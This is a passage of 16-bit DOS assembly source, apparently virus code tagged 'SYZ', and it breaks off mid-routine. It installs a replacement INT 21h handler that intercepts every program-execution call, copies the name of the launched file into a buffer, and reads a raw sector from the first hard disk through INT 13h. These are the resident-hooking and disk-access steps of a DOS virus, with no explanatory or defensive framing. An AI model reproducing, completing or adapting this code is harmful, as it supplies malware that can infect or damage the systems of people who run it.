seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h start: jmp loc_9 c_1 db ’ SYZ ’ old_int21h_off dw 8888h old_int21h_seg dw 8888h count_1 dw 0h FE_1 DB 20H f_buff db 16 dup (0) int_21h_entry:
pushf cli push ax push bx push cx push dx push si push di push ds push es push bp cld CMP Ax,4b00H JZ HAND_1 JMP EXIT_21H_1 hand_1: push cs pop es mov si,dx cld con_1_1:lodsb cmp al,2eh jz f2e_1 cmp al,0 jz exit_21h_1 jmp con_1_1
f2e_1: dec si sub si,dx cmp si,16 ja a_16 mov cx,si mov si,dx push cx mov di,offset f_buff mov cx,16 mov al,20h rep stosb mov di,offset f_buff pop cx rep movsb jmp rw_disk1 a_16: add si,dx sub si,16 mov cx,16 mov di,offset f_buff rep movsb rw_disk1: mov ax,201h mov bx,offset disk_buff mov cx,8h mov dx,80h int 13h jb exit_21h_1 push cs
|